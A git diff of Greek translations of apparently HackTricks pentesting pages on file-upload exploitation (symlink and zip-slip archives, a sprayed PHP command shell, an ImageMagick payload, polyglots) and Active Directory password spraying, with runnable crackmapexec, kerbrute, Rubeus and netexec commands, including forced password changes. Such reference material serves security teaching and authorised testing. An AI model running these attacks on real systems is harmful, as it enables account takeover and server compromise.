Αναφερθείτε στο [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) για άλλους τύπους αρχείων.
|
||||||
|
|
||||||
## Zip/Tar File Automatically decompressed Upload
|
## Zip/Tar File Automatically decompressed Upload
|
||||||
|
|
||||||
If you can upload a ZIP that is going to be decompressed inside the server, you can do 2 things:
|
Αν μπορείτε να ανεβάσετε ένα ZIP που πρόκειται να αποσυμπιεστεί μέσα στον server, μπορείτε να κάνετε 2 πράγματα:
|
||||||
|
|
||||||
### Symlink
|
### Symlink
|
||||||
|
|
||||||
Ανεβάστε ένα αρχείο που περιέχει soft links προς άλλα αρχεία. Στη συνέχεια, προσπελάζοντας τα αποσυμπιεσμένα αρχεία θα αποκτήσετε πρόσβαση στα αρχεία στα οποία δείχνουν οι σύνδεσμοι:
|
Upload ένα archive που περιέχει soft links προς άλλα αρχεία, και στη συνέχεια, προσπελάζοντας τα αποσυμπιεσμένα αρχεία θα έχετε πρόσβαση στα linked αρχεία:
|
||||||
```
|
```
|
||||||
ln -s ../../../index.php symindex.txt
|
ln -s ../../../index.php symindex.txt
|
||||||
zip --symlinks test.zip symindex.txt
|
zip --symlinks test.zip symindex.txt
|
||||||
@ -224,18 +225,18 @@ tar -cvf test.tar symindex.txt
|
|||||||
```
|
```
|
||||||
### Αποσυμπίεση σε διαφορετικούς φακέλους
|
### Αποσυμπίεση σε διαφορετικούς φακέλους
|
||||||
|
|
||||||
Η απροσδόκητη δημιουργία αρχείων σε φακέλους κατά την αποσυμπίεση αποτελεί σημαντικό πρόβλημα. Παρά τις αρχικές υποθέσεις ότι αυτή η ρύθμιση μπορεί να εμποδίσει την εκτέλεση εντολών σε επίπεδο OS μέσω κακόβουλων uploads αρχείων, η υποστήριξη ιεραρχικής συμπίεσης και οι δυνατότητες directory traversal της μορφής αρχείου ZIP μπορούν να εκμεταλλευτούν. Αυτό επιτρέπει σε επιτιθέμενους να παρακάμψουν περιορισμούς και να διαφύγουν από secure upload directories χειριζόμενοι τη λειτουργία αποσυμπίεσης της στοχευόμενης εφαρμογής.
|
Η απρόσμενη δημιουργία αρχείων σε καταλόγους κατά την αποσυμπίεση αποτελεί σημαντικό ζήτημα. Παρά τις αρχικές υποθέσεις ότι αυτή η ρύθμιση μπορεί να αποτρέψει την εκτέλεση εντολών σε επίπεδο OS μέσω κακόβουλων file uploads, η ιεραρχική υποστήριξη συμπίεσης και οι δυνατότητες directory traversal της μορφής αρχείου ZIP μπορούν να εκμεταλλευτούν. Αυτό επιτρέπει σε επιτιθέμενους να παρακάμψουν περιορισμούς και να διαφύγουν από ασφαλείς upload directories χειραγωγώντας τη λειτουργία αποσυμπίεσης της στοχευόμενης εφαρμογής.
|
||||||
|
|
||||||
Ένα αυτοματοποιημένο exploit για τη δημιουργία τέτοιων αρχείων είναι διαθέσιμο στο [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Το εργαλείο μπορεί να χρησιμοποιηθεί όπως φαίνεται:
|
Διαθέσιμο είναι ένα αυτοματοποιημένο exploit για τη δημιουργία τέτοιων αρχείων στο [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Το εργαλείο μπορεί να χρησιμοποιηθεί όπως φαίνεται:
|
||||||
```python
|
```python
|
||||||
# Listing available options
|
# Listing available options
|
||||||
python2 evilarc.py -h
|
python2 evilarc.py -h
|
||||||
# Creating a malicious archive
|
# Creating a malicious archive
|
||||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||||
```
|
```
|
||||||
Επιπλέον, η **symlink trick with evilarc** είναι μια επιλογή. Αν ο στόχος είναι να στοχεύσεις ένα αρχείο όπως το `/flag.txt`, θα πρέπει να δημιουργήσεις ένα symlink προς αυτό το αρχείο στο σύστημά σου. Αυτό εξασφαλίζει ότι το evilarc δεν θα αντιμετωπίσει σφάλματα κατά τη λειτουργία του.
|
Επιπλέον, το **symlink trick with evilarc** είναι μια επιλογή. Εάν ο στόχος είναι να στοχεύσετε ένα αρχείο όπως το `/flag.txt`, θα πρέπει να δημιουργηθεί ένα symlink προς αυτό το αρχείο στο σύστημά σας. Αυτό διασφαλίζει ότι το evilarc δεν θα συναντήσει σφάλματα κατά τη λειτουργία του.
|
||||||
|
|
||||||
Παρακάτω είναι ένα παράδειγμα κώδικα Python που χρησιμοποιείται για να δημιουργήσει ένα malicious zip file:
|
Παρακάτω υπάρχει ένα παράδειγμα κώδικα Python που χρησιμοποιείται για τη δημιουργία ενός κακόβουλου zip αρχείου:
|
||||||
```python
|
```python
|
||||||
#!/usr/bin/python
|
#!/usr/bin/python
|
||||||
import zipfile
|
import zipfile
|
||||||
@ -253,11 +254,11 @@ zip.close()
|
|||||||
|
|
||||||
create_zip()
|
create_zip()
|
||||||
```
|
```
|
||||||
**Abusing compression for file spraying**
|
**Κατάχρηση συμπίεσης για file spraying**
|
||||||
|
|
||||||
Για περισσότερες λεπτομέρειες **δείτε την πρωτότυπη ανάρτηση στο**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
Για περισσότερες πληροφορίες **δείτε το αρχικό post στο**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||||
|
|
||||||
1. **Creating a PHP Shell**: Γράφεται PHP κώδικας για την εκτέλεση εντολών που περνάνε μέσω της μεταβλητής `$_REQUEST`.
|
1. **Creating a PHP Shell**: Ο PHP κώδικας γράφεται για να εκτελεί εντολές που δίνονται μέσω της μεταβλητής `$_REQUEST`.
|
||||||
|
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
@ -274,7 +275,7 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
|
|||||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||||
```
|
```
|
||||||
|
|
||||||
3. **Modification with a Hex Editor or vi**: Τα ονόματα των αρχείων μέσα στο zip τροποποιούνται χρησιμοποιώντας vi ή έναν hex editor, αλλάζοντας το "xxA" σε "../" για να γίνει traversal φακέλων.
|
3. **Modification with a Hex Editor or vi**: Τα ονόματα των αρχείων μέσα στο zip τροποποιούνται χρησιμοποιώντας vi ή Hex Editor, αντικαθιστώντας το "xxA" με "../" to traverse directories.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
:set modifiable
|
:set modifiable
|
||||||
@ -284,7 +285,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
|
|||||||
|
|
||||||
## ImageTragic
|
## ImageTragic
|
||||||
|
|
||||||
Ανεβάστε αυτό το περιεχόμενο με επέκταση εικόνας για να εκμεταλλευτείτε την ευπάθεια **(ImageMagick , 7.0.1-1)** (από το [exploit](https://www.exploit-db.com/exploits/39767))
|
Ανεβάστε αυτό το περιεχόμενο με επέκταση εικόνας για να exploit the vulnerability **(ImageMagick , 7.0.1-1)** (από το [exploit](https://www.exploit-db.com/exploits/39767))
|
||||||
```
|
```
|
||||||
push graphic-context
|
push graphic-context
|
||||||
viewbox 0 0 640 480
|
viewbox 0 0 640 480
|
||||||
@ -293,31 +294,31 @@ pop graphic-context
|
|||||||
```
|
```
|
||||||
## Ενσωμάτωση PHP Shell σε PNG
|
## Ενσωμάτωση PHP Shell σε PNG
|
||||||
|
|
||||||
Η ενσωμάτωση ενός PHP shell στο IDAT chunk ενός PNG αρχείου μπορεί να παρακάμψει αποτελεσματικά ορισμένες λειτουργίες επεξεργασίας εικόνας. Οι συναρτήσεις `imagecopyresized` και `imagecopyresampled` από το PHP-GD είναι ιδιαίτερα σχετικές σε αυτό το πλαίσιο, καθώς χρησιμοποιούνται συνήθως για αλλαγή μεγέθους και resampling εικόνων, αντίστοιχα. Η ικανότητα του ενσωματωμένου PHP shell να παραμένει ανεπηρέαστο από αυτές τις λειτουργίες είναι ένα σημαντικό πλεονέκτημα για ορισμένες χρήσεις.
|
Η ενσωμάτωση ενός PHP shell στο chunk IDAT ενός αρχείου PNG μπορεί να παρακάμψει αποτελεσματικά ορισμένες λειτουργίες επεξεργασίας εικόνας. Οι συναρτήσεις `imagecopyresized` και `imagecopyresampled` από PHP-GD είναι ιδιαίτερα σχετικές σε αυτό το πλαίσιο, καθώς χρησιμοποιούνται συνήθως για resizing και resampling εικόνων, αντίστοιχα. Η ικανότητα του ενσωματωμένου PHP shell να παραμένει ανεπηρέαστο από αυτές τις λειτουργίες αποτελεί σημαντικό πλεονέκτημα για ορισμένες χρήσεις.
|
||||||
|
|
||||||
Μια λεπτομερής ανάλυση αυτής της τεχνικής, συμπεριλαμβανομένης της μεθοδολογίας και των πιθανών εφαρμογών, παρέχεται στο ακόλουθο άρθρο: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Αυτός ο πόρος προσφέρει μια ολοκληρωμένη κατανόηση της διαδικασίας και των επιπτώσεών της.
|
Μια λεπτομερής ανάλυση αυτής της τεχνικής, συμπεριλαμβανομένης της μεθοδολογίας και των πιθανών εφαρμογών της, παρέχεται στο ακόλουθο άρθρο: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Αυτός ο πόρος προσφέρει μια ολοκληρωμένη κατανόηση της διαδικασίας και των επιπτώσεών της.
|
||||||
|
|
||||||
Περισσότερες πληροφορίες: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
Περισσότερες πληροφορίες σε: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||||
|
|
||||||
## Polyglot αρχεία
|
## Polyglot Files
|
||||||
|
|
||||||
Τα Polyglot αρχεία λειτουργούν ως ένα μοναδικό εργαλείο στην κυβερνοασφάλεια, ενεργώντας σαν χameleons που μπορούν νόμιμα να υπάρχουν σε πολλές μορφές αρχείων ταυτόχρονα. Ένα ενδιαφέρον παράδειγμα είναι το [GIFAR](https://en.wikipedia.org/wiki/Gifar), ένας υβριδικός τύπος που λειτουργεί τόσο ως GIF όσο και ως RAR archive. Τέτοια αρχεία δεν περιορίζονται σε αυτό το ζευγάρι· συνδυασμοί όπως GIF και JS ή PPT και JS είναι επίσης εφικτοί.
|
Τα polyglot αρχεία λειτουργούν ως μοναδικό εργαλείο στην κυβερνοασφάλεια, ενεργώντας σαν χαμαιλέοντες που μπορούν νόμιμα να υπάρξουν σε πολλαπλές μορφές αρχείων ταυτόχρονα. Ένα συναρπαστικό παράδειγμα είναι το [GIFAR](https://en.wikipedia.org/wiki/Gifar), ένα hybrid που λειτουργεί τόσο ως GIF όσο και ως RAR archive. Τέτοια αρχεία δεν περιορίζονται σε αυτό το συνδυασμό· δυνατοί είναι και συνδυασμοί όπως GIF και JS ή PPT και JS.
|
||||||
|
|
||||||
Η κύρια χρησιμότητα των polyglot αρχείων έγκειται στην ικανότητά τους να παρακάμπτουν μέτρα ασφαλείας που φιλτράρουν αρχεία βάσει τύπου. Συνηθισμένη πρακτική σε διάφορες εφαρμογές είναι να επιτρέπονται μόνο ορισμένοι τύποι αρχείων για upload—όπως JPEG, GIF, ή DOC—για να μετριαστεί ο κίνδυνος από πιθανώς επιβλαβείς μορφές (π.χ., JS, PHP, ή Phar αρχεία). Ωστόσο, ένα polyglot, συμμορφούμενο με τα δομικά κριτήρια πολλαπλών τύπων αρχείων, μπορεί να παρακάμψει αυτές τις περιοριστικές πολιτικές.
|
Η βασική χρησιμότητα των polyglot αρχείων έγκειται στην ικανότητά τους να παρακάμπτουν μέτρα ασφαλείας που ελέγχουν αρχεία βάσει τύπου. Συνηθισμένη πρακτική σε διάφορες εφαρμογές είναι να επιτρέπονται μόνο συγκεκριμένοι τύποι αρχείων για upload—όπως JPEG, GIF, ή DOC—για να μειωθεί ο κίνδυνος που προκαλούν δυνητικά επικίνδυνα formats (π.χ. JS, PHP, ή Phar αρχεία). Ωστόσο, ένα polyglot, συμμορφούμενο με τις δομικές προδιαγραφές πολλαπλών τύπων αρχείων, μπορεί να παρακάμψει κρυφά αυτούς τους περιορισμούς.
|
||||||
|
|
||||||
Παρότι είναι ευέλικτα, τα polyglots αντιμετωπίζουν περιορισμούς. Για παράδειγμα, ενώ ένα polyglot μπορεί ταυτόχρονα να ενσωματώνει ένα PHAR αρχείο (PHp ARchive) και ένα JPEG, η επιτυχία του upload μπορεί να εξαρτάται από την πολιτική της πλατφόρμας σχετικά με τις επεκτάσεις αρχείων. Αν το σύστημα είναι αυστηρό όσον αφορά τις επιτρεπτές επεκτάσεις, η απλή δομική διπλότητα ενός polyglot ενδέχεται να μην αρκεί για να εγγυηθεί το upload.
|
Παρά την προσαρμοστικότητά τους, τα polyglots αντιμετωπίζουν περιορισμούς. Για παράδειγμα, ενώ ένα polyglot μπορεί ταυτόχρονα να ενσωματώνει ένα PHAR file και ένα JPEG, η επιτυχία του upload μπορεί να εξαρτηθεί από την πολιτική επέκτασης αρχείων της πλατφόρμας. Αν το σύστημα είναι αυστηρό όσον αφορά τις επιτρεπόμενες επεκτάσεις, η απλή δομική διττότητα ενός polyglot μπορεί να μην αρκεί για να εξασφαλίσει το upload.
|
||||||
|
|
||||||
Περισσότερες πληροφορίες: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
Περισσότερες πληροφορίες σε: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||||
|
|
||||||
### Φόρτωση έγκυρων JSON σαν να ήταν PDF
|
### Upload valid JSONs like if it was PDF
|
||||||
|
|
||||||
Πώς να αποφύγετε την ανίχνευση τύπου αρχείου ανεβάζοντας ένα έγκυρο JSON αρχείο ακόμη και αν δεν επιτρέπεται, προσποιούμενοι ότι είναι PDF (τεχνικές από **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
Πώς να αποφύγετε τις ανιχνεύσεις τύπου αρχείου ανεβάζοντας ένα έγκυρο JSON ακόμα κι αν δεν επιτρέπεται, προσποιώντας ότι είναι PDF (τεχνικές από **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||||
|
|
||||||
- **`mmmagic` library**: Όσο τα magic bytes `%PDF` βρίσκονται στα πρώτα 1024 bytes είναι έγκυρο (δες παράδειγμα στο post)
|
- **`mmagic` library**: Εφόσον τα μαγικά bytes `%PDF` βρίσκονται στα πρώτα 1024 bytes θεωρείται έγκυρο (βλ. παράδειγμα στο άρθρο)
|
||||||
- **`pdflib` library**: Προσθέστε μια ψεύτικη μορφή PDF μέσα σε ένα πεδίο του JSON ώστε η βιβλιοθήκη να νομίζει ότι πρόκειται για PDF (δες παράδειγμα στο post)
|
- **`pdflib` library**: Προσθέστε ένα ψεύτικο PDF format μέσα σε ένα field του JSON ώστε η library να νομίζει ότι είναι pdf (βλ. παράδειγμα στο άρθρο)
|
||||||
- **`file` binary**: Μπορεί να διαβάσει μέχρι 1048576 bytes από ένα αρχείο. Απλά δημιουργήστε ένα JSON μεγαλύτερο από αυτό ώστε να μην μπορεί να αναλύσει το περιεχόμενο ως JSON και μετά μέσα στο JSON βάλτε το αρχικό μέρος ενός πραγματικού PDF και θα θεωρήσει ότι είναι PDF
|
- **`file` binary**: Μπορεί να διαβάσει μέχρι 1048576 bytes από ένα αρχείο. Δημιουργήστε ένα JSON μεγαλύτερο από αυτό ώστε να μην μπορεί να αναλύσει το περιεχόμενο ως json και μετά μέσα στο JSON τοποθετήστε το αρχικό μέρος ενός πραγματικού PDF και θα το θεωρήσει PDF
|
||||||
|
|
||||||
## Αναφορές
|
## References
|
||||||
|
|
||||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
||||||
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
|
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
|
||||||
|
@ -2,6 +2,6 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
**Δείτε το καταπληκτικό άρθρο στο:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
|
**Δείτε το εξαιρετικό άρθρο στο:** [**https://www.tarlogic.com/en/blog/how-kerberos-works/**](https://www.tarlogic.com/en/blog/how-kerberos-works/)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -5,16 +5,16 @@
|
|||||||
|
|
||||||
## **Password Spraying**
|
## **Password Spraying**
|
||||||
|
|
||||||
Αφού βρείτε μερικά **valid usernames** μπορείτε να δοκιμάσετε τους πιο **common passwords** (έχοντας υπόψη την password policy του περιβάλλοντος)\ με κάθε έναν από τους ανακαλυφθέντες χρήστες.\
|
Αφού βρείτε αρκετά **έγκυρα ονόματα χρήστη** μπορείτε να δοκιμάσετε τους πιο **συνηθισμένους κωδικούς** (να έχετε υπόψη την πολιτική κωδικών του περιβάλλοντος) για κάθε έναν από τους εντοπισμένους χρήστες.\
|
||||||
Από **default** το **minimum** **password** **length** είναι **7**.
|
Κατά **προεπιλογή** το **ελάχιστο** **μήκος** **κωδικού** είναι **7**.
|
||||||
|
|
||||||
Λίστες με **common usernames** μπορεί επίσης να είναι χρήσιμες: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
|
Λίστες με συνηθισμένα ονόματα χρήστη μπορεί επίσης να είναι χρήσιμες: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
|
||||||
|
|
||||||
Σημειώστε ότι **could lockout some accounts if you try several wrong passwords** (by default more than 10).
|
Σημειώστε ότι **μπορεί να κλειδώσετε κάποιους λογαριασμούς αν δοκιμάσετε πολλούς λανθασμένους κωδικούς** (κατά προεπιλογή πάνω από 10).
|
||||||
|
|
||||||
### Get password policy
|
### Get password policy
|
||||||
|
|
||||||
Εάν έχετε κάποια user credentials ή ένα shell ως domain user μπορείτε να **get the password policy with**:
|
Αν έχετε διαπιστευτήρια χρήστη ή ένα shell ως χρήστης του domain μπορείτε να **λάβετε την πολιτική κωδικών με**:
|
||||||
```bash
|
```bash
|
||||||
# From Linux
|
# From Linux
|
||||||
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
|
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
|
||||||
@ -33,7 +33,7 @@ net accounts
|
|||||||
```
|
```
|
||||||
### Exploitation από Linux (ή όλα)
|
### Exploitation από Linux (ή όλα)
|
||||||
|
|
||||||
- Χρήση **crackmapexec:**
|
- Χρησιμοποιώντας **crackmapexec:**
|
||||||
```bash
|
```bash
|
||||||
crackmapexec smb <IP> -u users.txt -p passwords.txt
|
crackmapexec smb <IP> -u users.txt -p passwords.txt
|
||||||
# Local Auth Spray (once you found some local admin pass or hash)
|
# Local Auth Spray (once you found some local admin pass or hash)
|
||||||
@ -47,11 +47,11 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c
|
|||||||
# Brute-Force
|
# Brute-Force
|
||||||
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
|
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
|
||||||
```
|
```
|
||||||
- [**spray**](https://github.com/Greenwolf/Spray) _**(μπορείτε να υποδείξετε τον αριθμό των προσπαθειών για να αποφύγετε τα lockouts):**_
|
- [**spray**](https://github.com/Greenwolf/Spray) _**(μπορείτε να καθορίσετε τον αριθμό προσπαθειών για να αποφύγετε αποκλεισμούς):**_
|
||||||
```bash
|
```bash
|
||||||
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
|
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
|
||||||
```
|
```
|
||||||
- Χρησιμοποιώντας [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - Δεν συνιστάται — μερικές φορές δεν λειτουργεί
|
- Χρησιμοποιώντας [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - ΔΕΝ ΣΥΝΙΣΤΑΤΑΙ, ΜΕΡΙΚΕΣ ΦΟΡΕΣ ΔΕΝ ΛΕΙΤΟΥΡΓΕΙ
|
||||||
```bash
|
```bash
|
||||||
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
|
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
|
||||||
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
|
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
|
||||||
@ -60,7 +60,7 @@ python kerbrute.py -domain jurassic.park -users users.txt -password Password123
|
|||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
- Χρησιμοποιώντας **rpcclient**:
|
- Χρησιμοποιώντας το **rpcclient**:
|
||||||
```bash
|
```bash
|
||||||
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
|
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
|
||||||
for u in $(cat users.txt); do
|
for u in $(cat users.txt); do
|
||||||
@ -69,7 +69,7 @@ done
|
|||||||
```
|
```
|
||||||
#### Από Windows
|
#### Από Windows
|
||||||
|
|
||||||
- Με την έκδοση του [Rubeus](https://github.com/Zer1t0/Rubeus) με το brute module:
|
- Με [Rubeus](https://github.com/Zer1t0/Rubeus) έκδοση που περιλαμβάνει το brute module:
|
||||||
```bash
|
```bash
|
||||||
# with a list of users
|
# with a list of users
|
||||||
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
|
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
|
||||||
@ -77,7 +77,7 @@ done
|
|||||||
# check passwords for all users in current domain
|
# check passwords for all users in current domain
|
||||||
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
|
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
|
||||||
```
|
```
|
||||||
- Με [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Μπορεί να δημιουργήσει users από το domain από προεπιλογή και θα παίρνει την password policy από το domain και θα περιορίζει τις προσπάθειες σύμφωνα με αυτή):
|
- Με [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Μπορεί να δημιουργήσει χρήστες από το domain από προεπιλογή και θα ανακτήσει την πολιτική κωδικών από το domain και θα περιορίσει τις προσπάθειες ανάλογα με αυτή):
|
||||||
```bash
|
```bash
|
||||||
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
||||||
```
|
```
|
||||||
@ -85,12 +85,12 @@ Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
|
|||||||
```
|
```
|
||||||
Invoke-SprayEmptyPassword
|
Invoke-SprayEmptyPassword
|
||||||
```
|
```
|
||||||
### Αναγνώριση και κατάληψη "Password must change at next logon" Accounts (SAMR)
|
### Εντοπισμός και Κατάληψη λογαριασμών "Password must change at next logon" (SAMR)
|
||||||
|
|
||||||
Μια low-noise τεχνική είναι να κάνετε spray ένα benign/empty password και να εντοπίσετε λογαριασμούς που επιστρέφουν STATUS_PASSWORD_MUST_CHANGE, που υποδεικνύει ότι ο κωδικός έχει εξαναγκαστεί σε λήξη και μπορεί να αλλάξει χωρίς να γνωρίζετε τον προηγούμενο.
|
Μία τεχνική χαμηλού θορύβου είναι να κάνετε spray ένα benign/empty password και να εντοπίσετε λογαριασμούς που επιστρέφουν STATUS_PASSWORD_MUST_CHANGE, το οποίο υποδεικνύει ότι το password εξαναγκάστηκε να λήξει και μπορεί να αλλάξει χωρίς να γνωρίζετε το παλιό.
|
||||||
|
|
||||||
Workflow:
|
Workflow:
|
||||||
- Καταγράψτε τους χρήστες (RID brute via SAMR) για να δημιουργήσετε τη λίστα στόχων:
|
- Εντοπίστε χρήστες (RID brute via SAMR) για να δημιουργήσετε τη λίστα στόχων:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
|
../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
|
||||||
@ -99,12 +99,12 @@ Workflow:
|
|||||||
# NetExec (null/guest) + RID brute to harvest users
|
# NetExec (null/guest) + RID brute to harvest users
|
||||||
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
|
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
|
||||||
```
|
```
|
||||||
- Spray ένα κενό password και συνέχισε στις hits για να αποκτήσεις accounts που πρέπει να αλλάξουν στο επόμενο logon:
|
- Spray an empty password και συνεχίστε με τα hits για να αποκτήσετε πρόσβαση σε λογαριασμούς που πρέπει να αλλάξουν στο next logon:
|
||||||
```bash
|
```bash
|
||||||
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
|
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
|
||||||
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
|
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
|
||||||
```
|
```
|
||||||
- Για κάθε hit, αλλάξτε τον κωδικό πρόσβασης μέσω SAMR με το NetExec’s module (δεν απαιτείται ο παλιός κωδικός όταν το "must change" είναι ενεργοποιημένο):
|
- Για κάθε hit, αλλάξτε τον κωδικό μέσω SAMR με το NetExec’s module (δεν απαιτείται ο παλιός κωδικός όταν έχει οριστεί το "must change"):
|
||||||
```bash
|
```bash
|
||||||
# Strong complexity to satisfy policy
|
# Strong complexity to satisfy policy
|
||||||
env NEWPASS='P@ssw0rd!2025#' ; \
|
env NEWPASS='P@ssw0rd!2025#' ; \
|
||||||
@ -114,8 +114,8 @@ netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
|
|||||||
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
|
netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
|
||||||
```
|
```
|
||||||
Λειτουργικές σημειώσεις:
|
Λειτουργικές σημειώσεις:
|
||||||
- Βεβαιώσου ότι το host σου έχει συγχρονισμένη ώρα με τον DC πριν από λειτουργίες που βασίζονται σε Kerberos: `sudo ntpdate <dc_fqdn>`.
|
- Βεβαιωθείτε ότι το ρολόι του host σας είναι συγχρονισμένο με τον DC πριν από τις Kerberos-based operations: `sudo ntpdate <dc_fqdn>`.
|
||||||
- Ένα [+] χωρίς (Pwn3d!) σε ορισμένα modules (π.χ., RDP/WinRM) σημαίνει ότι τα creds είναι έγκυρα αλλά ο λογαριασμός δεν διαθέτει δικαιώματα διαδραστικής σύνδεσης.
|
- Ένα [+] χωρίς (Pwn3d!) σε ορισμένα modules (π.χ., RDP/WinRM) σημαίνει ότι τα creds είναι έγκυρα αλλά ο λογαριασμός δεν έχει δικαιώματα διαδραστικής σύνδεσης.
|
||||||
|
|
||||||
## Brute Force
|
## Brute Force
|
||||||
```bash
|
```bash
|
||||||
@ -123,7 +123,7 @@ legba kerberos --target 127.0.0.1 --username admin --password wordlists/password
|
|||||||
```
|
```
|
||||||
### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
|
### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
|
||||||
|
|
||||||
Το Kerberos pre-auth–based spraying μειώνει τον θόρυβο σε σχέση με SMB/NTLM/LDAP bind attempts και ευθυγραμμίζεται καλύτερα με τις AD lockout policies. Το SpearSpray συνδυάζει LDAP-driven targeting, έναν pattern engine και policy awareness (domain policy + PSOs + badPwdCount buffer) για να πραγματοποιεί spraying με ακρίβεια και ασφάλεια. Μπορεί επίσης να tag compromised principals στο Neo4j για BloodHound pathing.
|
